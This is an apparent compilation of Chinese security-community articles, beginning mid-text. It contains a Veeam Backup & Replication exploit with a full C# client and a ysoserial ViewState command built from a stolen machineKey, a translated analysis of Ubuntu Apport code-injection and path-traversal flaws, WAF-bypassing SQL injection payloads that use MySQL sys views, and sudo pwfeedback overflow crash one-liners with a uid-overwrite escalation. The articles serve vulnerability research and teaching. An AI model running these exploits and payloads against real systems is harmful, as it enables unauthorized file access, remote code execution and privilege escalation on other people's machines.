CConnectionState)` 中
public string Execute(CSpecDeserializationContext context, CConnectionState state)
{
return this.Execute(context.GetSpec(new CCommonForeignDeserializationContextProvider()), state.FindCertificateThumbprint(), state.RemoteEndPoint.ToString());
}
context.GetSpec()函数是重要点。
他将传入的`this._specData`也就是我们构造的xml数据进行解析，跟进去看看
public static CForeignInvokerSpec Unserial(COutputXmlData datas, IForeignDeserializationContextProvider provider)
{
EForeignInvokerScope scope = CForeignInvokerSpec.GetScope(datas);
CForeignInvokerSpec cforeignInvokerSpec;
if (scope <= EForeignInvokerScope.CatIndex)
{
......
}
else if (scope <= EForeignInvokerScope.Credentials)
{
if (scope == EForeignInvokerScope.DistributionService)
{
cforeignInvokerSpec = CConfigurationServiceBaseSpec.Unserial(datas);
goto IL_240;
}
...
}
.....
throw ExceptionFactory.Create("Unknown invoker scope: {0}", new object[]
{
scope
});
IL_240:
cforeignInvokerSpec.SessionId = datas.GetGuid("FISessionId");
cforeignInvokerSpec.ReusableConnection = datas.FindBool("FIReusableConnection", false);
cforeignInvokerSpec.RetryableConnection = datas.FindBool("FIRetryableConnection", false);
return cforeignInvokerSpec;
}
先从xml中拿一个FIScope标签，并且要是EForeignInvokerScope枚举的值之一
case
FIScope标签之后会判断不同分支，返回不同的实例，而在`Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CForeignInvokerParams,
string, string)`中我们需要的是CConfigurationServiceBaseSpec实例，因为这个地方进行了强制类型转换
所以我们再写入一个xml标签，EForeignInvokerScope.DistributionService值为190
FISpec.SetInt32("FIScope", 190);
除此之外还需要case一个FIMethod来进入UploadManagerPerformUpload上传的逻辑。
FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
接下来就是上传的一些参数，我这里就不再继续写了，通过CInputXmlData和CXmlHelper2两个工具类可以很方便的写入参数。
最终构造
internal class Program
{
static TcpClient client = null;
static void Main(string[] args)
{
IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
client = new TcpClient();
client.Connect(remoteEP);
Console.WriteLine("Client connected to {0}.", remoteEP.ToString());
NetworkStream clientStream = client.GetStream();
NegotiateStream authStream = new NegotiateStream(clientStream, false);
try
{
NetworkCredential netcred = new NetworkCredential("", "");
authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
CInputXmlData FIData = new CInputXmlData("FIData");
CInputXmlData FISpec = new CInputXmlData("FISpec");
FISpec.SetInt32("FIScope", 190);
FISpec.SetGuid("FISessionId", Guid.Empty);
//FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerGetFolders);
FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
FISpec.SetString("SystemType", "WIN");
FISpec.SetString("Host", "127.0.0.1");
IPAddress[] HostIps = new IPAddress[] { IPAddress.Loopback };
FISpec.SetStrings("HostIps", ConvertIpsToStringArray(HostIps));
FISpec.SetString("User", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
FISpec.SetString("Password", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
FISpec.SetString("TaskType", "Package");
FISpec.SetString("FixProductType", "");
FISpec.SetString("FixProductVeresion", "");
FISpec.SetUInt64("FixIssueNumber", 0);
FISpec.SetString("SshCredentials", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
FISpec.SetString("SshFingerprint", "");
FISpec.SetBool("SshTrustAll", true);
FISpec.SetBool("CheckSignatureBeforeUpload", false);
FISpec.SetEnum<ESSHProtocol>("DefaultProtocol", ESSHProtocol.Rebex);
FISpec.SetString("FileRelativePath", "FileRelativePath");
FISpec.SetString("FileRemotePath", @"C:\windows\test.txt");
FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
FIData.InjectChild(FISpec);
Console.WriteLine(FIData.Root.OuterXml);
new BinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml, Encoding.UTF8);
string response = new BinaryReader(authStream).ReadCompressedString(int.MaxValue, Encoding.UTF8);
Console.WriteLine("response:");
Console.WriteLine(response);
}
catch (Exception e)
{
Console.WriteLine(e);
}
finally
{
authStream.Close();
}
Console.ReadKey();
}
成功复制文件。
## getshell
目前只是能复制服务器上已有的文件，文件名可控，但是文件内容不可控。如何getshell？
看了看安装完成之后的Veeam有几个web
在`C:\Program Files\Veeam\Backup and Replication\Enterprise
Manager\WebApp\web.config`中有machineKey，然后就是懂得都懂了，把web.config复制一份写入到1.txt中，然后通过web访问拿到machineKey
最后ViewState反序列化就行了。
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationkey="0223A772097526F6017B1C350EE18B58009AF1DCF4C8D54969FEFF9721DF6940948B05A192FA6E64C74A9D7FDD7457BB9A59AF55D1D84771A1E9338C4C5E531D" --decryptionalg="AES" --validationalg="HMACSHA256" --decryptionalg="AES" --decryptionkey="0290D18D19402AE3BA93191364A5619EF46FA7E42173BB8C" --minfy --path="/error.aspx"
# 修复
对比补丁，上传的地方加了文件名校验
授权的地方用的CInvokerAdminNegotiateAuthenticator
不仅判断了是不是授权用户，而且判断了是否是管理员
# 总结
这个漏洞给我的感觉学到了很多东西，像tcp编程，Windows鉴权机制在csharp中的应用，以及在大型应用文件传输的一些漏洞点。
另外最后一点通过复制文件拿到web.config是我自己想出来的思路，不知道漏洞发现者Nikita Petrov是否和我的做法一致，或者还有其他的利用方式。
漏洞修复了鉴权，但是感觉授权之后仍然可能会存在一些其他的漏洞，毕竟CInvokerServerSyncExecuter仍然有很多的Service可以走，而不仅仅是CEpAgentConfigurationServiceExecuter。
分析这个洞我并不是全部正向看的，更多取决于补丁diff，但是这种大型软件的开发架构让我自己感觉学到了很多。 | 社区文章 |
# 【技术分享】Ubuntu崩溃报告工具存在远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：donncha.is
原文地址：<https://donncha.is/2016/12/compromising-ubuntu-desktop/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：260RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
安全研究人员发现Ubuntu崩溃报告工具存在远程代码执行漏洞，攻击者可能只需要一个恶意文件就能攻陷一个系统。
该漏洞影响所有默认安装的Ubuntu Linux 12.10 (Quantal)及其之后版本的操作系统。
根据Donncha O’Cearbhaill的研究，这个漏洞在用户打开一个特制的恶意文件时，允许命令执行。
该漏洞与Ubuntu默认文件格式所对应的文件处理程序有关。O'Cearbhaill私自在12月9日披露了这个漏洞，该漏洞的补丁已于14日提供。
完整的漏洞利用源代码可以从GitHub([https://github.com/DonnchaC/ubuntu-apport-exploitation](https://github.com/DonnchaC/ubuntu-apport-exploitation))上下载。
这篇文章的灵感来源于Chris Evan的杰出工作exploiting client-side file format parsing bugs in
the gstreamer media library。我们将寻找Ubuntu上其它默认文件处理程序可能存在的利用漏洞。我不是一个像Chris
一样的二进制开发大师。所以我只能找那些不需要利用内存损坏的其它漏洞。
**
**
**Linux桌面环境中的文件和URL处理程序配置**
类似于GNOME
或KDE一样的桌面环境，包含一系列已知的文件格式和默认的处理程序。当我们打开一个文件时，桌面环境首先会确定这个文件的格式，从而打开一个相符合的应用程序。Ubuntu中“/usr/share/applications/”文件夹下的.desktop文件中，存储着文件处理的默认应用程序列表。我们能看到对于一个特定的文件格式（MIME类型），哪一个应用程序会默认处理它，并将文件名作为传入参数。
列表中的很多软件是那些频繁使用的文件查看软件，如：image viewers, media players, LibreOffice
和Firefox。我们不研究这些常用软件，我们将寻找列表中那些不常用的默认处理软件来进行研究。
GNOME打开所有文件时，会用apport-gtk工具匹配text/x-apport
中的MIME类型。Ubuntu会根据/usr/share/mime/文件夹中对MIME的描述来确定文件的MIME类型。通常文件的扩展名被用于确定文件类型。但是当一个文件扩展名无法识别时，桌面环境可以退回到匹配模式（一组魔法字节串）。
在这个案例中，Apport程序有两个文件扩展，一个是.crash，另一个是一组特殊的魔法字节串。在匹配魔法字节串前，桌面环境首先会试着匹配文件的扩展名。由于Apport程序的崩溃文件描述符有一个字节模式（也就是说这个文件格式是一定的，类型于WORD文件的前多少字节是什么格式，分别代表什么意思），我们在没用.crash文件扩展名的情况下，有可能可以创建一个漏洞利用文件。
一个快速的实验表明，Ubuntu通过apport-gtk可以打开任何不知道文件扩展名的文件，仅仅需要文件以“ProblemType: ”开始。
Apport程序看起来是一个不错的研究条件，它默认会被系统安装，并且它是一个文件处理的默认程序。让我们看看利用Apport能做什么。
**
**
**对Apport进行审计**
Ubuntu将Apport崩溃处理软件默认安装到了所有的桌面版本中。它包含了一些不同的组件，用于捕捉崩溃报告，显示给用户，并将报告上传给Ubuntu的问题跟踪服务器。在Ubuntu
wiki中提供了这些组件的概述。
当系统探测到一个软件发生崩溃时，会调用/usr/share/apport/apport
程序。为了将对系统性能的影响降到最低，在发生崩溃时，Apport只会记录最小的一组信息，比如程序执行路径和一个核心文件的镜像存储。这个最小的崩溃报告会存储到/var/crash/[executable_path].[uid].crash文件中。
GNOME中的“update-notifier”守护程序会利用inotify保持对/var/crash
文件夹的监控。一旦有新的文件，会马上调用/usr/share/apport/apport-checkreports，如果发现这是一个报告文件，apport-checkreports会调用/usr/share/apport/apport-gtk程序将崩溃报告用图形化界面显示给用户。apport-gtk同时也是.crash文件在桌面环境下的处理程序。
apport-gtk会对崩溃文件进行解释，并给用户显示一个最小的崩溃报告。任何使用过Ubunt桌面环境的用户，可能对这个Apport的报告提示信息都很熟悉。
**
**
**Apport崩溃报告格式**
Apport软件的崩溃报告有它自定义的文件格式，Apport wiki 页面中有这个文件格式的描述。
在这个格式中，可以用来存储相关崩溃信息和当前系统状态的字段有很多。在崩溃发生时，最小的崩溃文件会仅仅存储那些重要的条目，比如ProblemType,
ExecutablePath 和 CoreDump。
**
**
**向crash文件中注入pytho代码**
Apport会根据不同软件生成的不同报告，提交给不同的Ubuntu Launchpad 项目(Launchpad 是一个提供维护、支持或连络 Ubuntu
开发者的网站平台，由 Ubuntu 的母公司 Canonical 有限公司所架设，用户可以利用该网站的汇报机制来汇报相关软件的
Bugs)。特殊的hook脚本软件包(从/usr/share/apport/package-hooks/文件夹中加载)可以自定义文件内容和崩溃报告的发送目的地。目标项目也可以由崩溃报告中的CrashDB 字段指定。
CrashDB
的配置存储在/etc/apport/crashdb.conf.d文件中。Crash文件中的CrashDB字段可以用于从指定的文件夹中加载这个配置文件。
注意，这里的代码存在问题，些处的代码可以直接从CrashDB 字段中加载CrashDB 配置，而不是从一个本地文件，什么意思呢，注意，意思是CrashDB
字段中存储的可以不是文件路径，而是配置信息本身。此处的代码会首先检查CrashDB
字段中是不是以“｛”开始，如果是，则意味着这里存储的是一个Python程序段，Apport将会调用Python的eval()内建函数，来处理CrashDB
字段中的信息。eval()会将字段中的信息作为传入参数，当成python表达式来处理，这就直接导致了可靠的代码执行。
这段有漏洞的代码是在2012-08-22引进到Apport revision 2464中的。第一个有这个漏洞的Apport是
2.6.1版本，所有ubuntu 12.10和以后的版本中都包含这个漏洞。
**
**
**开发漏洞利用程序**
以下是一个最小的崩溃报告文件，并利用上面的crashdb漏洞来执行任意代码，最后打开了一个Gnome计算器：
这段代码可以用.crash 扩展名来存储，或任何ubuntu无法识别的其它扩展名。
Apport 在给用户用图形界面显示一个需要提交的bug报告时，通常会先读取崩溃文件的子字段，但是CrashDB
字段只有在用户确认提交这个bug报告后，才会被解释和执行。然而，当崩溃报告中设置了“ProblemType: Bug”时，apport-gtk会转换到“streamlined Bug”图形化界面，这会直接引起CrashDB 字段的解释和执行，并且是在没有任何用户交互的情况下。
如果崩溃报告中没有Stracktrace 字段的信息，Apport 会花一些时间，试着去收集崩溃进程的信息。这会延迟CrashDB
字段的执行。在利用代码中，我们可以用一个空的Stracktrace 字段绕过去。
Apport 中有很多CrashDB的实施办法， 我选择了“memory”方法，因为这种方法不用将崩溃报告上传到公共错误跟踪服务器。
**
**
**加载脚本时的路径遍历**
在ubuntu中，Apport 的hook脚本软件包会安装到/usr/share/apport/package-hooks文件夹下。这些python
hook
脚本的加载基于软件包名称。他们允许软件包的维护者从用户的电脑上收集有用的特定软件包的崩溃信息。然而当建立一个软件包hook文件时，崩溃文件中的package字段并没有经过过滤。
这里的代码允许攻击者遍历文件路径，并在系统hook_dirs(/usr/share/apport/general-hooks/
or/usr/share/apport/package-hooks/)文件夹外,执行任意python脚本。_run_hook
函数会将一个hook文件的内容当作python代码来执行。攻击者可以向用户下载的文件中，植入恶意的一个.py文件和一个崩溃文件，来执行攻击代码。这个方案通过Chromium
会非常容易，它会自动下载文件而没有提示。
这个路径遍历漏洞在2007-01-24被引入到了Apport 0.44中，这个版本在ubuntu 7.04中被首次使用。
**
**
**利用CrashDB和hook注入漏洞来提权(需要用户交互)**
所有UID小于500的崩溃文件被认为是系统崩溃文件，当打开系统崩溃文件时，“apport-crashreports”会使用PolicyKit
给用户进行提示，并使用root权限。
提示信息通常是“System program problem detected”信息，并没有给用户提供其他崩溃信息。
如果一个使用了UID小于500的崩溃文件，利用这两个漏洞，并会崩溃文件放入到/var/crash文件夹中，并且用户接受了这个提示，代码就会以ROOT权限执行。当然需要用户交互，在产生一个随机的崩溃之后，在任何时间使用Ubuntu的人都会看到这个能将代码提权的提示信息。
这样的bug允许一个低特权应用程序跨越权限的边界。比如，可以利用一个SQL 注入漏洞，通过 "INTO
OUTFILE"语句向/var/crash目录中写入一个恶意崩溃文件，当一个桌面用户登录后，这个恶意的崩溃文件会自动执行。
**
**
**结论**
上面的所有漏洞已经通知了Apport 的维护人员，他们在2016年12月14日已经提供了漏洞的补丁。CrashDB
代码注入漏洞被编号为CVE-2016-9949，路径遍历漏洞为CVE-2016-9950，另外一个问题，“重新启动”行为下的任意代码执行漏洞为CVE-2016-9951。
**
**
**参考原文**
<https://donncha.is/2016/12/compromising-ubuntu-desktop/>
<https://threatpost.com/remote-code-execution-bug-found-in-ubuntu-quantal/122561/> | 社区文章 |
# 聊一聊bypass information_schema
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
聊一聊mysql在被waf禁掉了information_schema库后还能有哪些利用思路，这个想法是前一段时间想到的，这次趁着安全客活动就在这里记录一下吧~
# 实验环境
windows 2008 r2
phpstudy （mysql 5.7）
某waf（原因是该waf可以设置非法访问information_schema数据库）
## 前置任务
进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的，在SQL注入中它的作用是什么，那么有没有可以替代这个库的方法呢？
### information_schema
> 简单来说，这个库在mysql中就是个信息数据库，它保存着mysql服务器所维护的所有其他数据库的信息，包括了数据库名，表名，字段名等。
在注入中，infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。
#### MySQL5.7的新特性
> 由于performance_schema过于发杂，所以mysql在5.7版本中新增了sys
> schemma，基础数据来自于performance_chema和information_schema两个库，本身数据库不存储数据。
*注*：
这里说一下，现在网络上能搜索到的文章大部分都是利用innoDB引擎绕过对information_schema的过滤，但是mysql默认是关闭InnoDB存储引擎的，所以在本文中不讨论该方法，若想了解可自行搜索，网络上有很多分析文章了。
**sys.schema_auto_increment_columns**
开始了解这个视图之前，希望你可以想一下当你利用Mysql设计数据库时，是否会给每个表加一个自增的id（或其他名字）字段呢？如果是，那么我们发现了一个注入中在mysql默认情况下就可以替代information_schema库的方法。
> schema_auto_increment_columns，该视图的作用简单来说就是用来对表自增ID的监控。
这里我通过security（sqli-labs）和fortest（我自建库）两个库来熟悉一下schema_auto_increment_columns视图的结构组成，以及特性。
# fortest库
data 表存在自增id
no_a_i_table 表不存在自增id
test 表存在自增id
# security库
//该库为sqli-labs自动建立
emails,referers,uagents,users
可以发现，fortest库中的no_a_i_table并不在这里存在，然而其他非系统库的表信息全部在这里。根据前面介绍的schema_auto_increment_columns视图的作用，也可以发现我们可以通过该视图获取数据库的表名信息，也就是说找到了一种可以替代information_schema在注入中的作用的方法。
当然了，如果你说我们就是想想通过注入获取到没有自增主键的表的数据怎么办？通过翻阅sys中的视图文档，我又发现了一个视图也许可以实现这种需求？。
**schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer**
>
> 查询表的统计信息，其中还包括InnoDB缓冲池统计信息，默认情况下按照增删改查操作的总表I/O延迟时间（执行时间，即也可以理解为是存在最多表I/O争用的表）降序排序，数据来源：performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table
通过介绍的内容我们可以很容易的发现，利用“数据来源”同样可以获取到我们需要的信息，所以说这样的话我们的绕过information_schema的思路就更广了。加下来依次看一下各个视图的结构：
# sys.schema_table_statistics_with_buffer
可以看到，在上一个视图中并没有出现的表名在这里出现了。
# sys.x$schema_table_statistics_with_buffer
# 在从`数据来源`中随便选取一个视图为例（想查看视图详细结构等信息可自行测试）
# sys.x$ps_schema_table_statistics_io
# 可忽略table_name='db'，默认的并非我创建。
_注：_ 类似的视图等还有很多，若有兴趣可自行翻阅，这里仅抛砖引玉吧，记录一下自己之前的想法思路。
## Bypass information_schema
上面的方法的确可以获取数据库中表名信息了，但是并没有找到类似于information_schema中COLUMNS的视图，也就是说我们并不能获取数据？
### join
> 这个思路在ctf中比较常见吧，利用join进行无列名注入，如何利用到这里就显而易见了。
**join … using(xx)**
简单的记录一下payload吧。以本文开头的环境为例，这里的waf会完全过滤掉information_schema库。
> 由于开启防护后会拦截正常注入，所以图中payload可能会有些乱，我会将简单的payload整理在下面，绕过防护的部分完全可以自由发挥。
# schema_auto_increment_columns
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
# schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
其他的就不测试了，都是一个payload。
* * *
_获取字段名_
# 获取第一列的列名
?id=-1' union all select*from (select * from users as a join users b)c--+
# 获取次列及后续列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
## 写在后面
文章只是分享一个自己在绕过类似防护的思路，当然也是有一定限制，前提要是mysql ≥
5.7版本。绕过的方法可能还有很多，希望各位表哥可以不吝赐教。文中可能还有哪些视图并没有全部指出，可以自行查找类似的功能点。 | 社区文章 |
**作者：Strawberry@ QAX A-TEAM
原文链接：<https://mp.weixin.qq.com/s/wHwLh0mI00eyRHw8j3lTng>**
sudo 的全称是“superuserdo”，它是Linux系统管理指令，允许用户在不需要切换环境的前提下以其它用户的权限运行应用程序或命令，通常是以
root 用户身份运行命令，以减少 root 用户的登录和管理时间，同时提高安全性。
sudo的存在可以使用户以root权限执行命令而不必知道root用户的密码，还可以通过策略给予用户部分权限。但sudo中如果出现漏洞，可能会使获取部分权限或没有sudo权限的用户提升至root权限。近日，苹果公司的研究员
Joe Vennix 在 sudo 中再次发现了一个重要漏洞，可导致低权限用户或恶意程序以管理员（根）权限在 Linux 或 macOS
系统上执行任意命令。奇安信CERT漏洞监测平台显示，该漏洞热度从2月4号起迅速上升，占据2月第一周漏洞热度排行榜第一位。sudo在去年10月份被曝出的漏洞也是由Vennix发现的，该漏洞为sudo安全策略绕过漏洞，可导致恶意用户或程序在目标
Linux 系统上以 root
身份执行命令。该漏洞在去年10月份的热度也很高。然后再早一些就是17年5月30日曝出的sudo本地提权漏洞，本地攻击者可利用该漏洞覆盖文件系统上的任何文件，从而获取root权限。下面来回顾一下这些漏洞：
漏洞编号 | 漏洞危害 | 漏洞类型 | POC公开 | 需要密码 | 常规配置 | 利用难度
---|---|---|---|---|---|---
CVE-2019-18634 | 权限提升 | 缓冲区溢出 | 是 | 否 | 否 | 低
CVE-2019-14287 | 权限提升 | 策略绕过 | 是 | 是 | 否 | 中
CVE-2017-100036 | 任意文件读写&&权限提升 | 逻辑缺陷 | 是 | 是 | 是 | 中
# CVE-2019-18634 sudo pwfeedback 本地提权漏洞
## 漏洞简讯
近日，苹果公司的研究员 Joe Vennix 在 sudo
中再次发现了一个重要漏洞，该漏洞依赖于某种特定配置，可导致低权限用户或恶意程序以管理员（根）权限在 Linux 或 macOS 系统上执行任意命令。
Vennix指出，只有sudoers 配置文件中设置了“pwfeedback”选项时，才能利用该漏洞；当用户在终端输入密码时， pwfeedback
功能会给出一个可视的反馈即星号 (*)。
需要注意的是，pwfeedback功能在 sudo 或很多其它包的上游版本中并非默认启用。然而，某些 Linux 发行版本，如 Linux Mint 和
Elementary OS， 在 sudoers 文件中默认启用了该功能。
此外，当启用 pwfeedback 功能时，任何用户都可利用该漏洞，无 sudo 许可的用户也不例外。
## 影响范围
Linux Mint 和 Elementary OS系统以及其它Linux、macOS系统下配置了pwfeedback选项的以下sudo版本受此漏洞影响：
1.7.1 <= sudo version < 1.8.31
需要注意的是，该漏洞影响sudo 1.8.31之前版本，但由于从sudo 1.8.26 版本开始引入了EOF
处理，sudo_term_eof和sudo_term_kill都被初始化为0，sudo_term_eof总是先被处理，因而使用‘\x00’字符不再会进入漏洞流程。但使用pty时，sudo_term_eof和sudo_term_kill分别被初始化为0x4和0x15，因而可使用pty在这些版本上进行利用。用户可升级至最新版本1.8.31。
## 检测方法
1、查看sudo是否配置了pwfeedback选项，如果输出中出现“pwfeedback”则代表配置了该选项，需要在/etc/sudoers中找到它并删除：
strawberry@ubuntu:~$ sudo -l
Matching Defaults entries for strawberry on ubuntu:
env_reset, pwfeedback, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User strawberry may run the following commands on ubuntu:
(ALL : ALL) ALL
2、低于1.8.26版本的sudo也可以通过以下命令进行检测，如果出现Segmentation fault就代表存在漏洞：
strawberry@ubuntu:~$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
[sudo] password for strawberry: Segmentation fault (core dumped)
3、低于1.8.31版本的sudo也可通过以下命令进行检测：
strawberry@ubuntu:~$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
[4] 82553
strawberry@ubuntu:~$ sudo -S id < /tmp/pty
[sudo] password for strawberry: Segmentation fault (core dumped)
## 漏洞分析
首先说一下，这是在Ubuntu上进行复现分析的，sudo版本为1.8.21p1。pwfeedback不是sudo的默认配置，因而需要向/etc/sudoers文件中加入pwfeedback，开启此功能的sudo在用户输入密码时会逐位显示*号：
Defaults env_reset,pwfeedback
使用上面的第一个POC对sudo进行调试分析：直接运行程序，发现其崩在getln函数内部，原因是无法访问0x560a0de9c000处的内存。这里的cp是指向buf的指针，通过*cp++向该缓冲区中写入数据。此时buf的长度为3392，显然是在写入数据的过程中访问了无法访问的内存而崩溃的。另外，buf位于bss段（大小为0x100），所以也不是传说中的栈溢出。
→ 0x560a0dc90298 <getln.constprop+376> mov BYTE PTR [r15], dl
0x560a0dc9029b <getln.constprop+379> add r15, 0x1
0x560a0dc9029f <getln.constprop+383> mov QWORD PTR [rsp+0x8], r14
0x560a0dc902a4 <getln.constprop+388> sub r14, 0x1
0x560a0dc902a8 <getln.constprop+392> test r14, r14
0x560a0dc902ab <getln.constprop+395> jne 0x560a0dc90188 <getln+104>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:./tgetpass.c+334 ────
329 }
330 continue;
331 }
332 ignore_result(write(fd, "*", 1));
333 }
→ 334 *cp++ = c;
335 }
336 *cp = '\0';
337 if (feedback) {
338 /* erase stars */
339 while (cp > buf) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x560a0dc90298 in getln (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x560a0dc90298 → getln(fd=0x0, buf=0x560a0de9b2c0 <buf> 'A' <repeats 3392 times><
下面我们来看一下，为什么可以向buf中复制超出边界的数据。有一个要点是只有开启了pwfeedback选项的程序才会存在此漏洞，还有就是POC中每100个A后面跟一个\x00。来~上前面代码：
static char * getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
if (left == 0) {
errno = EINVAL;
debug_return_str(NULL); /* sanity */
}
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
} else if (c == sudo_term_erase) {
if (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
*cp++ = c;
}
...
if语句中的feedback和pwfeedback选项是否开启相关，假设没有开启，会依次从用户输入中读取一个字节c，然后执行*cp++ =
c，cp指向了buf，这样就会将用户输入的密码依次写入buf，由于left控制循环次数，left为bufsiz，大小为0x100（如下所示），所以最多只能复制0xFF字节（最后一位为\x00），因此未开启pwfeedback选项的程序不会溢出。
text:000000000001EEEC mov eax, [rbp+input]
text:000000000001EEF2 mov ecx, edx ; feedback
text:000000000001EEF4 mov edx, 100h ; bufsiz
text:000000000001EEF9 lea rsi, buf_5295 ; buf
text:000000000001EF00 mov edi, eax ; fd
text:000000000001EF02 call getln
注意到sudo_term_kill这个条件判断，如果程序开启了pwfeedback选项，会先比较读入的c是否等于sudo_term_kill，经过调试可知这个值为0。所以POC中每100个A后面跟的\x00作用就在这里了，可以使程序进入这个流程，由于fd为单向管道，所以write(fd,
"\b \b", 3) 总是返回-1，这样就会直接跳出循环，因而cp还是指向之前的地方。紧接着执行重要的两句是left =
bufsiz和continue，可以将left重新置为0x100，然后跳出本次循环。因而只要在小于0xFF的数据之间连接\x00就可以不断向buf中写入数据，超出buf范围，直到访问到不可读内存触发异常。
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
1.8.26 至1.8.30
版本的sudo加入了sudo_term_eof的条件判断，如果读取的字符为\x00就结束循环，这使得\x00这个桥梁不再起作用。
if (feedback) {
if (c == sudo_term_eof) {
nr = 0;
break;
} else if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
但如果使用了pty，sudo_term_eof和sudo_term_kill分别被初始化为0x4和0x15，这样\x15又可以成为新的桥梁。
Breakpoint 1, getln (fd=0x0, buf=0x55a4f1d534e0 <buf> "", feedback=0x8, errval=0x7fff1c5b8acc, bufsiz=0x100) at ./tgetpass.c:376
376 getln(int fd, char *buf, size_t bufsiz, int feedback,
gef➤ p sudo_term_eof
$1 = 0x4
gef➤ p sudo_term_kill
$2 = 0x15
gef➤ p sudo_term_erase
$4 = 0x7f
下面是修补后的函数流程，这里最后将cp又重新指向buf，这样又可以通过bufsiz控制循环了，\x15的作用就只是重置本次密码读取了。
if (feedback) {
if (c == sudo_term_eof) {
nr = 0;
break;
} else if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
cp--;
}
cp = buf;
left = bufsiz;
continue;
}
## 漏洞利用
1、user_details覆盖
前面分析的时候可知，buf位于bss段，其后面存在以下数据结构：
buffer 256
askpass 32
signo 260
tgetpass_flags 28
user_details 104
其中，user_details位于buf偏移0x240处，其偏移0x14处为用户的uid（这里为0x3e8，十进制为1000，即用户strawberry的id）：
gef➤ x/26wx &user_details
0x562eb2410500 <user_details>: 0x00015c5e 0x00015c57 0x00015c5e 0x00015c5e
0x562eb2410510 <user_details+16>: 0x00015c4a 0x000003e8 0x00000000 0x000003e8
0x562eb2410520 <user_details+32>: 0x000003e8 0x00000000 0xb3f39605 0x0000562e
0x562eb2410530 <user_details+48>: 0xb3f39894 0x0000562e 0xb3f398d4 0x0000562e
0x562eb2410540 <user_details+64>: 0xb3f39945 0x0000562e 0xb3f39620 0x0000562e
0x562eb2410550 <user_details+80>: 0xb3f397d0 0x0000562e 0x00000008 0x0000009f
0x562eb2410560 <user_details+96>: 0x00000033 0x00000000
gef➤ p user_details
$3 = {
pid = 0x15c5e,
ppid = 0x15c57,
pgid = 0x15c5e,
tcpgid = 0x15c5e,
sid = 0x15c4a,
uid = 0x3e8,
euid = 0x0,
gid = 0x3e8,
egid = 0x3e8,
username = 0x562eb3f39605 "strawberry",
cwd = 0x562eb3f39894 "/home/strawberry/Desktop/sudo-SUDO_1_8_21p1/build2",
tty = 0x562eb3f398d4 "/dev/pts/2",
host = 0x562eb3f39945 "ubuntu",
shell = 0x562eb3f39620 "/bin/bash",
groups = 0x562eb3f397d0,
ngroups = 0x8,
ts_cols = 0x9f,
ts_lines = 0x33
}
测试：在sudo运行的过程中将uid的值改为0，那用户就可以获取root权限。因而我们需要想办法利用溢出将其uid覆盖为0。
Hardware access (read/write) watchpoint 2: *0x56234e1d5514
Old value = 0x0
New value = 0x3e8
get_user_info (ud=0x56234e1d5500 <user_details>) at ./sudo.c:517
517 ud->euid = geteuid();
gef➤ set ud->uid = 0
gef➤ c
Continuing.
process 89879 is executing new program: /usr/bin/id
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(strawberry)
